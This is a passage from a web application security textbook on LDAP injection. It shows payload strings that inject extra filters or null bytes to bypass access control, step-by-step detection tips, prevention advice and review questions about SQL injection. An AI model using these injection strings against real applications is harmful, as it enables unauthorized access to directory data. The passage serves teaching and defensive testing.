Since this is a disjunctive query and contains the wildcard term `(department=*)`, it matches on all directory entries. It returns the details of all employees from all locations, thereby subverting the application's access control.

TRY IT!

```
http://mdsec.net/employees/31/
http://mdsec.net/employees/49/
```

Conjunctive Queries

Consider a similar application function that allows users to search for employees by name, again within the geographic region they are authorized to view.

If a user is authorized to search within the London location, and he searches for the name `daf`, the following query is performed:

```
(&(givenName=daf)(department=London*))
```

Here, the user's input is inserted into a conjunctive query, the second part of which enforces the required access control by matching items in only one of the London departments.

In this situation, two different attacks might succeed, depending on the details of the back-end LDAP service. Some LDAP implementations, including OpenLDAP, allow multiple search filters to be batched, and these are applied disjunctively. (In other words, directory entries are returned that match any of the batched filters.) For example, an attacker could supply the following input:

```
*))(&(givenName=daf
```

When this input is embedded into the original search filter, it becomes:

```
(&(givenName=*))(&(givenName=daf)(department=London*))
```

This now contains two search filters, the first of which contains a single wildcard match condition. The details of all employees are returned from all locations, thereby subverting the application's access control.

TRY IT!

```
http://mdsec.net/employees/42/
```

NOTE **This technique of injecting a second search filter is also effective against simple match conditions that do not employ any logical operator, provided that the back-end implementation accepts multiple search filters.**

The second type of attack against conjunctive queries exploits how many LDAP implementations handle `NULL` bytes. Because these implementations typically are written in native code, a `NULL` byte within a search filter effectively terminates the string, and any characters coming after the `NULL` are ignored. Although LDAP does not itself support comments (in the way that the `--` sequence can be used in SQL), this handling of `NULL` bytes can effectively be exploited to "comment out" the remainder of the query.

In the preceding example, the attacker can supply the following input:

```
*))%00
```

The `%00` sequence is decoded by the application server into a literal `NULL` byte, so when the input is embedded into the search filter, it becomes:

```
(&(givenName=*))[NULL])(department=London*))
```

Because this filter is truncated at the `NULL` byte, as far as LDAP is concerned it contains only a single wildcard condition, so the details of all employees from departments outside the London area are also returned.

TRY IT!

```
http://mdsec.net/employees/13/
http://mdsec.net/employees/42/
```

Finding LDAP Injection Flaws

Supplying invalid input to an LDAP operation typically does not result in an informative error message. In general, the evidence available to you in diagnosing vulnerability includes the results returned by a search function and the occurrence of an error such as an HTTP 500 status code. Nevertheless, you can use the following steps to identify an LDAP injection flaw with a degree of reliability.

HACK STEPS

1. **Try entering just the `*` character as a search term. This character functions as a wildcard in LDAP, but not in SQL. If a large number of results are returned, this is a good indicator that you are dealing with an LDAP query.**
2. **Try entering a number of closing brackets:**
   `))))))))))`

   This input closes any brackets enclosing your input, as well as those that encapsulate the main search filter itself. This results in unmatched closing brackets, thus invalidating the query syntax. If an error results, the application may be vulnerable to LDAP injection. (Note that this input may also break many other kinds of application logic, so this provides a strong indicator only if you are already confident that you are dealing with an LDAP query.)

Continued

HACK STEPS *(CONTINUED)*

3. **Try entering various expressions designed to interfere with different types of queries, and see if these allow you to influence the results being returned. The `cn` attribute is supported by all LDAP implementations and is useful to use if you do not know any details about the directory you are querying. For example:**

```
)(cn=*
*))(|(cn=*
*))%00
```

Preventing LDAP Injection

If it is necessary to insert user-supplied input into an LDAP query, this operation should be performed only on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric characters. Characters that may be used to interfere with the LDAP query should be blocked, including `( ) ; , * | & =` and the null byte. Any input that does not match the white list should be rejected, not sanitized.

Summary

We have examined a range of vulnerabilities that allow you to inject into web application data stores. These vulnerabilities may allow you to read or modify sensitive application data, perform other unauthorized actions, or subvert application logic to achieve an objective.

As serious as these attacks are, they are only part of a wider range of attacks that involve injecting into interpreted contexts. Other attacks in this category may allow you to execute commands on the server's operating system, retrieve arbitrary files, and interfere with other back-end components. The next chapter examines these attacks and others. It looks at how vulnerabilities within a web application can lead to compromise of key parts of the wider infrastructure that supports the application.

Questions

Answers can be found at `http://mdsec.net/wahh`.

1. You are trying to exploit a SQL injection flaw by performing a `UNION` attack to retrieve data. You do not know how many columns the original query returns. How can you find this out?

2. You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle, but you can't retrieve any data or an error message to confirm which database is running. How can you find this out?
3. You have submitted a single quotation mark at numerous locations throughout the application. From the resulting error messages you have diagnosed several potential SQL injection flaws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application's processing?
   (a) Registering a new user
   (b) Updating your personal details
   (c) Unsubscribing from the service
4. You have found a SQL injection vulnerability in a login function, and you try to use the input `' or 1=1--` to bypass the login. Your attack fails, and the resulting error message indicates that the `--` characters are being stripped by the application's input filters. How could you circumvent this problem?
5. You have found a SQL injection vulnerability but have been unable to carry out any useful attacks, because the application rejects any input containing whitespace. How can you work around this restriction?
6. The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric field, but you need to use a string value in one of your attack payloads. How can you place a string in your query without using any quotation marks?
7. In some rare situations, applications construct dynamic SQL queries from user-supplied input in a way that cannot be made safe using parameterized queries. When does this occur?
8. You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulnerability to further advance your attack?
9. You are attacking an application that holds no sensitive data and contains no authentication or access control mechanisms. In this situation, how should you rank the significance of the following vulnerabilities?
   (a) SQL injection
   (b) XPath injection
   (c) OS command injection